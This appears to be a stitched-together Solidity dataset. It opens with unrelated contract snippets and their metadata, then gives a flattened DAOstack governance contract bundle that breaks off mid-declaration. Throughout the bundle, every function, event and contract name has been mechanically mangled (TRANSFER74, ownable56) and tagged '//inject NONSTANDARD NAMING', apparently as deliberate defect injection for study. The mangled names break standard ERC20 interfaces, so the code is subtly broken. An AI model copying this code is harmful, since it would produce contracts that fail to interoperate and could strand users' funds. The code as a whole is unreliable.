function buyTokensWithGuarantee() public payable { require(validPurchase()); uint256 weiAmount = msg.value; require(weiAmount>500000000000000000); uint256 tokens = weiAmount.mul(getRate()); tokens = tokens.div(REFUND_DIVISION_RATE); weiRaised = weiRaised.add(weiAmount); token.issue(address(refundVault), tokens); refundVault.deposit.value(msg.value)(msg.sender, tokens); TokenPurchaseWithGuarantee(msg.sender, address(refundVault), weiAmount, tokens); }
10,666,645
./full_match/44787/0xb93f207230A44C212faCA713Dd76dC03410e7fd8/sources/contracts/community/CommunityAdminImplementation.sol
Adds a new manager to a community community_ address of the community account_ address to be added as community manager/
function addManagerToCommunity(ICommunity community_, address account_) external override onlyOwner { community_.addManager(account_); }
13,243,078
./full_match/4/0x857e543b12fBd646a98bAe7b43ef7Edd4B9f0caD/sources/mefi/MefiClient.sol
Retrieves the stored address of the MDT return The address of the MDT/
function mefiTokenAddress() internal view returns (address) { return address(mdt); }
675,259
pragma solidity ^0.5.2; // File: @daostack/infra/contracts/votingMachines/IntVoteInterface.sol interface intvoteinterface31 { //inject NONSTANDARD NAMING //When implementing this interface please do not only override function and modifier, //but also to keep the modifiers on the overridden functions. modifier ONLYPROPOSALOWNER70(bytes32 _proposalId) {revert(); _;} //inject NONSTANDARD NAMING modifier VOTABLE14(bytes32 _proposalId) {revert(); _;} //inject NONSTANDARD NAMING event NEWPROPOSAL82( //inject NONSTANDARD NAMING bytes32 indexed _proposalId, address indexed _organization, uint256 _numOfChoices, address _proposer, bytes32 _paramsHash ); event EXECUTEPROPOSAL67(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, uint256 _decision, uint256 _totalReputation ); event VOTEPROPOSAL81( //inject NONSTANDARD NAMING bytes32 indexed _proposalId, address indexed _organization, address indexed _voter, uint256 _vote, uint256 _reputation ); event CANCELPROPOSAL59(bytes32 indexed _proposalId, address indexed _organization ); //inject NONSTANDARD NAMING event CANCELVOTING5(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter); //inject NONSTANDARD NAMING function PROPOSE48( //inject NONSTANDARD NAMING uint256 _numOfChoices, bytes32 _proposalParameters, address _proposer, address _organization ) external returns(bytes32); function VOTE79( //inject NONSTANDARD NAMING bytes32 _proposalId, uint256 _vote, uint256 _rep, address _voter ) external returns(bool); function CANCELVOTE62(bytes32 _proposalId) external; //inject NONSTANDARD NAMING function GETNUMBEROFCHOICES23(bytes32 _proposalId) external view returns(uint256); //inject NONSTANDARD NAMING function ISVOTABLE72(bytes32 _proposalId) external view returns(bool); //inject NONSTANDARD NAMING function VOTESTATUS55(bytes32 _proposalId, uint256 _choice) external view returns(uint256); //inject NONSTANDARD NAMING function ISABSTAINALLOW86() external pure returns(bool); //inject NONSTANDARD NAMING function GETALLOWEDRANGEOFCHOICES7() external pure returns(uint256 min, uint256 max); //inject NONSTANDARD NAMING } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol interface ierc2016 { //inject NONSTANDARD NAMING function TRANSFER74(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function APPROVE55(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM94(address from, address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TOTALSUPPLY28() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF62(address who) external view returns (uint256); //inject NONSTANDARD NAMING function ALLOWANCE21(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING event TRANSFER49(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL97(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } // File: @daostack/infra/contracts/votingMachines/VotingMachineCallbacksInterface.sol interface votingmachinecallbacksinterface79 { //inject NONSTANDARD NAMING function MINTREPUTATION65(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool); //inject NONSTANDARD NAMING function BURNREPUTATION8(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool); //inject NONSTANDARD NAMING function STAKINGTOKENTRANSFER23(ierc2016 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId) //inject NONSTANDARD NAMING external returns(bool); function GETTOTALREPUTATIONSUPPLY93(bytes32 _proposalId) external view returns(uint256); //inject NONSTANDARD NAMING function REPUTATIONOF100(address _owner, bytes32 _proposalId) external view returns(uint256); //inject NONSTANDARD NAMING function BALANCEOFSTAKINGTOKEN17(ierc2016 _stakingToken, bytes32 _proposalId) external view returns(uint256); //inject NONSTANDARD NAMING } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol contract ownable56 { //inject NONSTANDARD NAMING address private _owner; event OWNERSHIPTRANSFERRED0(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { _owner = msg.sender; emit OWNERSHIPTRANSFERRED0(address(0), _owner); } function OWNER8() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER65() { //inject NONSTANDARD NAMING require(ISOWNER85()); _; } function ISOWNER85() public view returns (bool) { //inject NONSTANDARD NAMING return msg.sender == _owner; } function RENOUNCEOWNERSHIP94() public ONLYOWNER65 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED0(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP25(address newOwner) public ONLYOWNER65 { //inject NONSTANDARD NAMING _TRANSFEROWNERSHIP15(newOwner); } function _TRANSFEROWNERSHIP15(address newOwner) internal { //inject NONSTANDARD NAMING require(newOwner != address(0)); emit OWNERSHIPTRANSFERRED0(_owner, newOwner); _owner = newOwner; } } // File: @daostack/infra/contracts/Reputation.sol contract reputation51 is ownable56 { //inject NONSTANDARD NAMING uint8 public decimals = 18; //Number of decimals of the smallest unit // Event indicating minting of reputation to an address. event MINT64(address indexed _to, uint256 _amount); //inject NONSTANDARD NAMING // Event indicating burning of reputation for an address. event BURN4(address indexed _from, uint256 _amount); //inject NONSTANDARD NAMING struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of reputation at a specific block number uint128 value; } // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // Tracks the history of the `totalSupply` of the reputation Checkpoint[] totalSupplyHistory; constructor( ) public { } function TOTALSUPPLY28() public view returns (uint256) { //inject NONSTANDARD NAMING return TOTALSUPPLYAT94(block.number); } // Query balance and totalSupply in History function BALANCEOF62(address _owner) public view returns (uint256 balance) { //inject NONSTANDARD NAMING return BALANCEOFAT72(_owner, block.number); } function BALANCEOFAT72(address _owner, uint256 _blockNumber) //inject NONSTANDARD NAMING public view returns (uint256) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { return 0; // This will return the expected balance during normal situations } else { return GETVALUEAT9(balances[_owner], _blockNumber); } } function TOTALSUPPLYAT94(uint256 _blockNumber) public view returns(uint256) { //inject NONSTANDARD NAMING if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { return 0; // This will return the expected totalSupply during normal situations } else { return GETVALUEAT9(totalSupplyHistory, _blockNumber); } } function MINT38(address _user, uint256 _amount) public ONLYOWNER65 returns (bool) { //inject NONSTANDARD NAMING uint256 curTotalSupply = TOTALSUPPLY28(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint256 previousBalanceTo = BALANCEOF62(_user); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow UPDATEVALUEATNOW85(totalSupplyHistory, curTotalSupply + _amount); UPDATEVALUEATNOW85(balances[_user], previousBalanceTo + _amount); emit MINT64(_user, _amount); return true; } function BURN49(address _user, uint256 _amount) public ONLYOWNER65 returns (bool) { //inject NONSTANDARD NAMING uint256 curTotalSupply = TOTALSUPPLY28(); uint256 amountBurned = _amount; uint256 previousBalanceFrom = BALANCEOF62(_user); if (previousBalanceFrom < amountBurned) { amountBurned = previousBalanceFrom; } UPDATEVALUEATNOW85(totalSupplyHistory, curTotalSupply - amountBurned); UPDATEVALUEATNOW85(balances[_user], previousBalanceFrom - amountBurned); emit BURN4(_user, amountBurned); return true; } // Internal helper functions to query and set a value in a snapshot array function GETVALUEAT9(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) { //inject NONSTANDARD NAMING if (checkpoints.length == 0) { return 0; } // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } // Binary search of the value in the array uint256 min = 0; uint256 max = checkpoints.length-1; while (max > min) { uint256 mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function UPDATEVALUEATNOW85(Checkpoint[] storage checkpoints, uint256 _value) internal { //inject NONSTANDARD NAMING require(uint128(_value) == _value); //check value is in the 128 bits bounderies if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } } // File: /Users/oren/daostack/daostack2/daostack/node_modules/openzeppelin-solidity/contracts/token/ERC20/IERC20.sol // File: /Users/oren/daostack/daostack2/daostack/node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol library safemath4 { //inject NONSTANDARD NAMING function MUL16(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function DIV25(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function SUB37(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a); uint256 c = a - b; return c; } function ADD40(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a); return c; } function MOD29(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0); return a % b; } } // File: /Users/oren/daostack/daostack2/daostack/node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol contract erc2045 is ierc2016 { //inject NONSTANDARD NAMING using safemath4 for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function TOTALSUPPLY28() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF62(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[owner]; } function ALLOWANCE21(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowed[owner][spender]; } function TRANSFER74(address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER44(msg.sender, to, value); return true; } function APPROVE55(address spender, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING require(spender != address(0)); _allowed[msg.sender][spender] = value; emit APPROVAL97(msg.sender, spender, value); return true; } function TRANSFERFROM94(address from, address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _allowed[from][msg.sender] = _allowed[from][msg.sender].SUB37(value); _TRANSFER44(from, to, value); emit APPROVAL97(from, msg.sender, _allowed[from][msg.sender]); return true; } function INCREASEALLOWANCE67(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].ADD40(addedValue); emit APPROVAL97(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function DECREASEALLOWANCE11(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].SUB37(subtractedValue); emit APPROVAL97(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _TRANSFER44(address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING require(to != address(0)); _balances[from] = _balances[from].SUB37(value); _balances[to] = _balances[to].ADD40(value); emit TRANSFER49(from, to, value); } function _MINT14(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(account != address(0)); _totalSupply = _totalSupply.ADD40(value); _balances[account] = _balances[account].ADD40(value); emit TRANSFER49(address(0), account, value); } function _BURN11(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(account != address(0)); _totalSupply = _totalSupply.SUB37(value); _balances[account] = _balances[account].SUB37(value); emit TRANSFER49(account, address(0), value); } function _BURNFROM86(address account, uint256 value) internal { //inject NONSTANDARD NAMING _allowed[account][msg.sender] = _allowed[account][msg.sender].SUB37(value); _BURN11(account, value); emit APPROVAL97(account, msg.sender, _allowed[account][msg.sender]); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol contract erc20burnable16 is erc2045 { //inject NONSTANDARD NAMING function BURN49(uint256 value) public { //inject NONSTANDARD NAMING _BURN11(msg.sender, value); } function BURNFROM98(address from, uint256 value) public { //inject NONSTANDARD NAMING _BURNFROM86(from, value); } } // File: /Users/oren/daostack/daostack2/daostack/contracts/controller/DAOToken.sol contract daotoken36 is erc2045, erc20burnable16, ownable56 { //inject NONSTANDARD NAMING string public name; string public symbol; // solhint-disable-next-line const-name-snakecase uint8 public constant decimals61 = 18; //inject NONSTANDARD NAMING uint256 public cap; constructor(string memory _name, string memory _symbol, uint256 _cap) public { name = _name; symbol = _symbol; cap = _cap; } function MINT38(address _to, uint256 _amount) public ONLYOWNER65 returns (bool) { //inject NONSTANDARD NAMING if (cap > 0) require(TOTALSUPPLY28().ADD40(_amount) <= cap); _MINT14(_to, _amount); return true; } } // File: openzeppelin-solidity/contracts/utils/Address.sol library address8 { //inject NONSTANDARD NAMING function ISCONTRACT13(address account) internal view returns (bool) { //inject NONSTANDARD NAMING uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: /Users/oren/daostack/daostack2/daostack/contracts/libs/SafeERC20.sol pragma solidity ^0.5.2; library safeerc2019 { //inject NONSTANDARD NAMING using address8 for address; bytes4 constant private transfer_selector2 = bytes4(keccak256(bytes("transfer(address,uint256)"))); //inject NONSTANDARD NAMING bytes4 constant private transferfrom_selector45 = bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))); //inject NONSTANDARD NAMING bytes4 constant private approve_selector67 = bytes4(keccak256(bytes("approve(address,uint256)"))); //inject NONSTANDARD NAMING function SAFETRANSFER100(address _erc20Addr, address _to, uint256 _value) internal { //inject NONSTANDARD NAMING // Must be a contract addr first! require(_erc20Addr.ISCONTRACT13()); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(transfer_selector2, _to, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } function SAFETRANSFERFROM10(address _erc20Addr, address _from, address _to, uint256 _value) internal { //inject NONSTANDARD NAMING // Must be a contract addr first! require(_erc20Addr.ISCONTRACT13()); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(transferfrom_selector45, _from, _to, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } function SAFEAPPROVE78(address _erc20Addr, address _spender, uint256 _value) internal { //inject NONSTANDARD NAMING // Must be a contract addr first! require(_erc20Addr.ISCONTRACT13()); // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. require((_value == 0) || (ierc2016(_erc20Addr).ALLOWANCE21(msg.sender, _spender) == 0)); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(approve_selector67, _spender, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } } // File: /Users/oren/daostack/daostack2/daostack/contracts/controller/Avatar.sol contract avatar70 is ownable56 { //inject NONSTANDARD NAMING using safeerc2019 for address; string public orgName; daotoken36 public nativeToken; reputation51 public nativeReputation; event GENERICCALL1(address indexed _contract, bytes _params, bool _success); //inject NONSTANDARD NAMING event SENDETHER8(uint256 _amountInWei, address indexed _to); //inject NONSTANDARD NAMING event EXTERNALTOKENTRANSFER37(address indexed _externalToken, address indexed _to, uint256 _value); //inject NONSTANDARD NAMING event EXTERNALTOKENTRANSFERFROM36(address indexed _externalToken, address _from, address _to, uint256 _value); //inject NONSTANDARD NAMING event EXTERNALTOKENAPPROVAL0(address indexed _externalToken, address _spender, uint256 _value); //inject NONSTANDARD NAMING event RECEIVEETHER12(address indexed _sender, uint256 _value); //inject NONSTANDARD NAMING constructor(string memory _orgName, daotoken36 _nativeToken, reputation51 _nativeReputation) public { orgName = _orgName; nativeToken = _nativeToken; nativeReputation = _nativeReputation; } function() external payable { emit RECEIVEETHER12(msg.sender, msg.value); } function GENERICCALL24(address _contract, bytes memory _data) //inject NONSTANDARD NAMING public ONLYOWNER65 returns(bool success, bytes memory returnValue) { // solhint-disable-next-line avoid-low-level-calls (success, returnValue) = _contract.call(_data); emit GENERICCALL1(_contract, _data, success); } function SENDETHER91(uint256 _amountInWei, address payable _to) public ONLYOWNER65 returns(bool) { //inject NONSTANDARD NAMING _to.transfer(_amountInWei); emit SENDETHER8(_amountInWei, _to); return true; } function EXTERNALTOKENTRANSFER67(ierc2016 _externalToken, address _to, uint256 _value) //inject NONSTANDARD NAMING public ONLYOWNER65 returns(bool) { address(_externalToken).SAFETRANSFER100(_to, _value); emit EXTERNALTOKENTRANSFER37(address(_externalToken), _to, _value); return true; } function EXTERNALTOKENTRANSFERFROM68( //inject NONSTANDARD NAMING ierc2016 _externalToken, address _from, address _to, uint256 _value ) public ONLYOWNER65 returns(bool) { address(_externalToken).SAFETRANSFERFROM10(_from, _to, _value); emit EXTERNALTOKENTRANSFERFROM36(address(_externalToken), _from, _to, _value); return true; } function EXTERNALTOKENAPPROVAL13(ierc2016 _externalToken, address _spender, uint256 _value) //inject NONSTANDARD NAMING public ONLYOWNER65 returns(bool) { address(_externalToken).SAFEAPPROVE78(_spender, _value); emit EXTERNALTOKENAPPROVAL0(address(_externalToken), _spender, _value); return true; } } // File: /Users/oren/daostack/daostack2/daostack/contracts/universalSchemes/UniversalSchemeInterface.sol contract universalschemeinterface23 { //inject NONSTANDARD NAMING function UPDATEPARAMETERS61(bytes32 _hashedParameters) public; //inject NONSTANDARD NAMING function GETPARAMETERSFROMCONTROLLER72(avatar70 _avatar) internal view returns(bytes32); //inject NONSTANDARD NAMING } // File: /Users/oren/daostack/daostack2/daostack/contracts/globalConstraints/GlobalConstraintInterface.sol contract globalconstraintinterface55 { //inject NONSTANDARD NAMING enum CallPhase { Pre, Post, PreAndPost } function PRE44( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool); //inject NONSTANDARD NAMING function POST41( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool); //inject NONSTANDARD NAMING function WHEN71() public returns(CallPhase); //inject NONSTANDARD NAMING } // File: /Users/oren/daostack/daostack2/daostack/contracts/controller/ControllerInterface.sol interface controllerinterface59 { //inject NONSTANDARD NAMING function MINTREPUTATION65(uint256 _amount, address _to, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function BURNREPUTATION8(uint256 _amount, address _from, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function MINTTOKENS53(uint256 _amount, address _beneficiary, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function REGISTERSCHEME80(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function UNREGISTERSCHEME15(address _scheme, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function UNREGISTERSELF18(address _avatar) external returns(bool); //inject NONSTANDARD NAMING function ADDGLOBALCONSTRAINT70(address _globalConstraint, bytes32 _params, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function REMOVEGLOBALCONSTRAINT6 (address _globalConstraint, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function UPGRADECONTROLLER96(address _newController, avatar70 _avatar) //inject NONSTANDARD NAMING external returns(bool); function GENERICCALL24(address _contract, bytes calldata _data, avatar70 _avatar) //inject NONSTANDARD NAMING external returns(bool, bytes memory); function SENDETHER91(uint256 _amountInWei, address payable _to, avatar70 _avatar) //inject NONSTANDARD NAMING external returns(bool); function EXTERNALTOKENTRANSFER67(ierc2016 _externalToken, address _to, uint256 _value, avatar70 _avatar) //inject NONSTANDARD NAMING external returns(bool); function EXTERNALTOKENTRANSFERFROM68( //inject NONSTANDARD NAMING ierc2016 _externalToken, address _from, address _to, uint256 _value, avatar70 _avatar) external returns(bool); function EXTERNALTOKENAPPROVAL13(ierc2016 _externalToken, address _spender, uint256 _value, avatar70 _avatar) //inject NONSTANDARD NAMING external returns(bool); function GETNATIVEREPUTATION64(address _avatar) //inject NONSTANDARD NAMING external view returns(address); function ISSCHEMEREGISTERED53( address _scheme, address _avatar) external view returns(bool); //inject NONSTANDARD NAMING function GETSCHEMEPARAMETERS80(address _scheme, address _avatar) external view returns(bytes32); //inject NONSTANDARD NAMING function GETGLOBALCONSTRAINTPARAMETERS50(address _globalConstraint, address _avatar) external view returns(bytes32); //inject NONSTANDARD NAMING function GETSCHEMEPERMISSIONS72(address _scheme, address _avatar) external view returns(bytes4); //inject NONSTANDARD NAMING function GLOBALCONSTRAINTSCOUNT61(address _avatar) external view returns(uint, uint); //inject NONSTANDARD NAMING function ISGLOBALCONSTRAINTREGISTERED65(address _globalConstraint, address _avatar) external view returns(bool); //inject NONSTANDARD NAMING } // File: /Users/oren/daostack/daostack2/daostack/contracts/universalSchemes/UniversalScheme.sol contract universalscheme48 is ownable56, universalschemeinterface23 { //inject NONSTANDARD NAMING bytes32 public hashedParameters; // For other parameters. function UPDATEPARAMETERS61( //inject NONSTANDARD NAMING bytes32 _hashedParameters ) public ONLYOWNER65 { hashedParameters = _hashedParameters; } function GETPARAMETERSFROMCONTROLLER72(avatar70 _avatar) internal view returns(bytes32) { //inject NONSTANDARD NAMING require(controllerinterface59(_avatar.OWNER8()).ISSCHEMEREGISTERED53(address(this), address(_avatar)), "scheme is not registered"); return controllerinterface59(_avatar.OWNER8()).GETSCHEMEPARAMETERS80(address(this), address(_avatar)); } } // File: openzeppelin-solidity/contracts/cryptography/ECDSA.sol library ecdsa86 { //inject NONSTANDARD NAMING function RECOVER59(bytes32 hash, bytes memory signature) internal pure returns (address) { //inject NONSTANDARD NAMING bytes32 r; bytes32 s; uint8 v; // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function TOETHSIGNEDMESSAGEHASH91(bytes32 hash) internal pure returns (bytes32) { //inject NONSTANDARD NAMING // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: /Users/oren/daostack/daostack2/daostack/node_modules/@daostack/infra/contracts/libs/RealMath.sol library realmath32 { //inject NONSTANDARD NAMING uint256 constant private real_bits92 = 256; //inject NONSTANDARD NAMING uint256 constant private real_fbits8 = 40; //inject NONSTANDARD NAMING uint256 constant private real_one87 = uint256(1) << real_fbits8; //inject NONSTANDARD NAMING function POW66(uint256 realBase, uint256 exponent) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 tempRealBase = realBase; uint256 tempExponent = exponent; // Start with the 0th power uint256 realResult = real_one87; while (tempExponent != 0) { // While there are still bits set if ((tempExponent & 0x1) == 0x1) { // If the low bit is set, multiply in the (many-times-squared) base realResult = MUL16(realResult, tempRealBase); } // Shift off the low bit tempExponent = tempExponent >> 1; // Do the squaring tempRealBase = MUL16(tempRealBase, tempRealBase); } // Return the final result. return uint216(realResult / real_one87); } function FRACTION6(uint216 numerator, uint216 denominator) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV25(uint256(numerator) * real_one87, uint256(denominator) * real_one87); } function MUL16(uint256 realA, uint256 realB) private pure returns (uint256) { //inject NONSTANDARD NAMING // When multiplying fixed point in x.y and z.w formats we get (x+z).(y+w) format. // So we just have to clip off the extra REAL_FBITS fractional bits. return uint256((uint256(realA) * uint256(realB)) >> real_fbits8); } function DIV25(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) { //inject NONSTANDARD NAMING // We use the reverse of the multiplication trick: convert numerator from // x.y to (x+z).(y+w) fixed point, then divide by denom in z.w fixed point. return uint256((uint256(realNumerator) * real_one87) / uint256(realDenominator)); } } // File: /Users/oren/daostack/daostack2/daostack/node_modules/@daostack/infra/contracts/votingMachines/VotingMachineCallbacksInterface.sol // File: /Users/oren/daostack/daostack2/daostack/node_modules/@daostack/infra/contracts/votingMachines/ProposalExecuteInterface.sol interface proposalexecuteinterface9 { //inject NONSTANDARD NAMING function EXECUTEPROPOSAL85(bytes32 _proposalId, int _decision) external returns(bool); //inject NONSTANDARD NAMING } // File: openzeppelin-solidity/contracts/math/SafeMath.sol // File: openzeppelin-solidity/contracts/math/Math.sol library math46 { //inject NONSTANDARD NAMING function MAX19(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return a >= b ? a : b; } function MIN92(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return a < b ? a : b; } function AVERAGE32(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: /Users/oren/daostack/daostack2/daostack/node_modules/@daostack/infra/contracts/votingMachines/GenesisProtocolLogic.sol contract genesisprotocollogic61 is intvoteinterface31 { //inject NONSTANDARD NAMING using safemath4 for uint; using math46 for uint; using realmath32 for uint216; using realmath32 for uint256; using address8 for address; enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod} enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed} //Organization's parameters struct Parameters { uint256 queuedVoteRequiredPercentage; // the absolute vote percentages bar. uint256 queuedVotePeriodLimit; //the time limit for a proposal to be in an absolute voting mode. uint256 boostedVotePeriodLimit; //the time limit for a proposal to be in boost mode. uint256 preBoostedVotePeriodLimit; //the time limit for a proposal //to be in an preparation state (stable) before boosted. uint256 thresholdConst; //constant for threshold calculation . //threshold =thresholdConst ** (numberOfBoostedProposals) uint256 limitExponentValue;// an upper limit for numberOfBoostedProposals //in the threshold calculation to prevent overflow uint256 quietEndingPeriod; //quite ending period uint256 proposingRepReward;//proposer reputation reward. uint256 votersReputationLossRatio;//Unsuccessful pre booster //voters lose votersReputationLossRatio% of their reputation. uint256 minimumDaoBounty; uint256 daoBountyConst;//The DAO downstake for each proposal is calculate according to the formula //(daoBountyConst * averageBoostDownstakes)/100 . uint256 activationTime;//the point in time after which proposals can be created. //if this address is set so only this address is allowed to vote of behalf of someone else. address voteOnBehalf; } struct Voter { uint256 vote; // YES(1) ,NO(2) uint256 reputation; // amount of voter's reputation bool preBoosted; } struct Staker { uint256 vote; // YES(1) ,NO(2) uint256 amount; // amount of staker's stake uint256 amount4Bounty;// amount of staker's stake used for bounty reward calculation. } struct Proposal { bytes32 organizationId; // the organization unique identifier the proposal is target to. address callbacks; // should fulfill voting callbacks interface. ProposalState state; uint256 winningVote; //the winning vote. address proposer; //the proposal boosted period limit . it is updated for the case of quiteWindow mode. uint256 currentBoostedVotePeriodLimit; bytes32 paramsHash; uint256 daoBountyRemain; //use for checking sum zero bounty claims.it is set at the proposing time. uint256 daoBounty; uint256 totalStakes;// Total number of tokens staked which can be redeemable by stakers. uint256 confidenceThreshold; //The percentage from upper stakes which the caller for the expiration was given. uint256 expirationCallBountyPercentage; uint[3] times; //times[0] - submittedTime //times[1] - boostedPhaseTime //times[2] -preBoostedPhaseTime; // vote reputation mapping(uint256 => uint256 ) votes; // vote reputation mapping(uint256 => uint256 ) preBoostedVotes; // address voter mapping(address => Voter ) voters; // vote stakes mapping(uint256 => uint256 ) stakes; // address staker mapping(address => Staker ) stakers; } event STAKE61(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, address indexed _staker, uint256 _vote, uint256 _amount ); event REDEEM77(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, address indexed _beneficiary, uint256 _amount ); event REDEEMDAOBOUNTY80(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, address indexed _beneficiary, uint256 _amount ); event REDEEMREPUTATION31(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, address indexed _beneficiary, uint256 _amount ); event STATECHANGE55(bytes32 indexed _proposalId, ProposalState _proposalState); //inject NONSTANDARD NAMING event GPEXECUTEPROPOSAL49(bytes32 indexed _proposalId, ExecutionState _executionState); //inject NONSTANDARD NAMING event 